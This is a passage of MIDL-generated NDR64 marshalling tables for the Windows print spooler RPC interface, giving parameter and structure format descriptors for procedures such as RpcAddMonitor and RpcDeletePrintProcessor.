},\n    { \n    /* dwClientMajorVersion */      /* parameter dwClientMajorVersion */\n        &__midl_frag1087,\n        { \n        /* dwClientMajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* dwClientMinorVersion */      /* parameter dwClientMinorVersion */\n        &__midl_frag1087,\n        { \n        /* dwClientMinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* pdwServerMaxVersion */      /* parameter pdwServerMaxVersion */\n        &__midl_frag1087,\n        { \n        /* pdwServerMaxVersion */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* pdwServerMinVersion */      /* parameter pdwServerMinVersion */\n        &__midl_frag1087,\n        { \n        /* pdwServerMinVersion */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag646_t __midl_frag646 =\n{ \n/* *DEVMODE_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag156\n};\n\nstatic const __midl_frag645_t __midl_frag645 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag644_t __midl_frag644 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag645\n};\n\nstatic const __midl_frag642_t __midl_frag642 =\n{ \n/* RpcResetPrinter */\n    { \n    /* RpcResetPrinter */      /* procedure RpcResetPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pDatatype */      /* parameter pDatatype */\n        &__midl_frag644,\n        { \n        /* pDatatype */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag626_t __midl_frag626 =\n{ \n/* RpcEnumPrintProcessorDatatypes */\n    { \n    /* RpcEnumPrintProcessorDatatypes */      /* procedure RpcEnumPrintProcessorDatatypes */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorName */      /* parameter pPrintProcessorName */\n        &__midl_frag1080,\n        { \n        /* pPrintProcessorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDatatypes */      /* parameter pDatatypes */\n        &__midl_frag653,\n        { \n        /* pDatatypes */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1087,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1087,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1087,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag616_t __midl_frag616 =\n{ \n/* RpcDeletePrintProcessor */\n    { \n    /* RpcDeletePrintProcessor */      /* procedure RpcDeletePrintProcessor */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag1080,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag1080,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorName */      /* parameter pPrintProcessorName */\n        &__midl_frag1081,\n        { \n        /* pPrintProcessorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag603_t __midl_frag603 =\n{ \n/* MONITOR_INFO_2 */\n    { \n    /* MONITOR_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* MONITOR_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag602_t __midl_frag602 =\n{ \n/* *MONITOR_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag603\n};\n\nstatic const __midl_frag600_t __midl_frag600 =\n{ \n/* MONITOR_INFO_1 */\n    { \n    /* MONITOR_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* MONITOR_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag599_t __midl_frag599 =\n{ \n/* *MONITOR_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag600\n};\n\nstatic const __midl_frag598_t __midl_frag598 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag597_t __midl_frag597 =\n{ \n/* __MIDL_winspool_0007 */\n    { \n    /* __MIDL_winspool_0007 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag598,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag599,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag602,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag596_t __midl_frag596 =\n{ \n/* MONITOR_CONTAINER */\n    { \n    /* MONITOR_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* MONITOR_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag597\n        },\n        { \n        /* MONITOR_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag595_t __midl_frag595 =\n{ \n/* *MONITOR_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag596\n};\n\nstatic const __midl_frag592_t __midl_frag592 =\n{ \n/* RpcAddMonitor */\n    { \n    /* RpcAddMonitor */      /* procedure RpcAddMonitor */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag1080,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pMonitorContainer */      /* parameter pMonitorContainer */\n        &__midl_frag596,\n        { \n        /* pMonitorContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag587_t __midl_frag587 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag586_t __midl_frag586 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag587\n};\n\nstatic const __midl_frag585_t __midl_frag585 =\n{ \n/* RpcDeletePrinterIC */\n    { \n    /* RpcDeletePrinterIC */      /* procedure RpcDeletePrinterIC */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* phPrinterIC */      /* parameter phPrinterIC */\n        &__midl_frag587,\n        { \n        /* phPrinterIC */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag578_t __midl_frag578 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag654\n};\n\nstatic const __midl_frag575_t __midl_frag575 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag574_t __midl_frag574 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag575\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag573_t __midl_frag573 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag574\n};\n\nstatic const __midl_frag572_t __midl_frag572 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag571_t __midl_frag571 =\n{ \n/* RpcPlayGdiScriptOnPrinterIC */\n    { \n    /* RpcPlayGdiScriptOnPrinterIC */      /* procedure RpcPlayGdiScriptOnPrinterIC */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 